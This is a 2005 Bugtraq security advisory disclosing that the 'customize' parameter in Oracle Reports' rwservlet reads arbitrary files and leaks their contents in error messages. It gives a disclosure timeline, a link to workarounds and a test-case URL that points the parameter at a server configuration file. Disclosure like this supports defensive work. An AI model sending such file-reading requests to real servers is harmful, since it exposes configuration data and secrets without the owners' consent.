Oracle Security Advisory: Read parts of any XML-file via customize parameter in Oracle Reports
Dear Bugtraq Reader
3 months ago (15-april-2005) I informed the Oracle Security Team
(secalert_us@xxxxxxxxxx) that I will publish bug details if the bugs are not
fixed with the next critical patch update (CPU July 2005). I know that Oracle
products are complex and a good patch quality need some time. That's why I
offered Oracle additional time if 3 months are not sufficient for fixing the
bugs. Oracle never asked for more time.
Oracle's behaviour not fixing critical security bugs for a long time (over 650
days) is not acceptable for their customers. Oracle put their customers in
danger. At least one critical vulnerability can be abused from any attacker via
internet.
I decided to publish these vulnerabilities because it is possible to mitigate
the risk of these vulnerabilities by using the workarounds provided in the
advisories.
Kind Regards
Alexander Kornbrust
www.red-database-security.com
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Red-Database-Security GmbH - Oracle Security Advisory
Read parts of any XML-file via customize parameter in Oracle Reports
Name Read parts of any XML-file via customize parameter in
Oracle Reports
Systems Affected All version of Oracle Reports
Severity Medium Risk
Category Information disclosure
Vendor URL http://www.oracle.com
Author Alexander Kornbrust (ak at red-database-security.com)
Date 19 July 2005 (V 1.00)
Advisory AKSEC2003-007
Inital bug report 693 days ago
Advisory-URL
http://www.red-database-security.com/advisory/oracle_reports_read_any_xml_file.h
tml
Details
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Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting
tool. It enables businesses to give immediate acces to information to all levels
within and outside of the organization in an unrivaled scalable and secure
environment. Oracle Reports, a component of the Oracle Application Server, is
used by Oracle itself for the E-Business Suite. Many large customers are using
Oracle Reports as reporting tool for their enterprise applications.
The Oracle Reports parameter customize can read any file by using an absolute or
relative file name.
Parts of the file content are displayed in the Reports error message (see test
case).
Testcase
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http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc
ott/tiger@iasdb+destype=cache+desformat=xml+CUSTOMIZE=/opt/ORACLE/ias/oracle/pro
duct/9.0.2/webcache/webcache.xml
***Reports Output****
REP--866648059: Error in the XML report definition at line 3 in
'
Element 'CALYPSO' used but not declared.'.
***Reports Output****
Workarounds
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Available at
http://www.red-database-security.com/advisory/oracle_reports_read_any_xml_file.html
Affected systems
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All versions of Oracle Reports are affected.
Patch Information
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This bug is NOT FIXED with Critical Patch Update July 2005 (CPU July 2005). It
seems that Oracle is NOT INTERESTED to fix this issue and provide patches for
this issue.
If you think you need a patch to protect your Oracle Application Server you
should contact Oracle.
History
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26-aug-2003 Oracle secalert was informed
27-aug-2003 Bug confirmed
15-apr-2005 Red-Database-Security informed Oracle secalert that this
vulnerability will publish after CPU July 2005 Red-Database-Security offered
Oracle more time if it is not possible to provide a fix ==> NO FEEDBACK.
12-jul-2005 Oracle published CPU July 2005 without fixing this issue
19-jul-2005 Red-Database-Security published this advisory
© 2005 by Red-Database-Security GmbH - last update 19-july-2005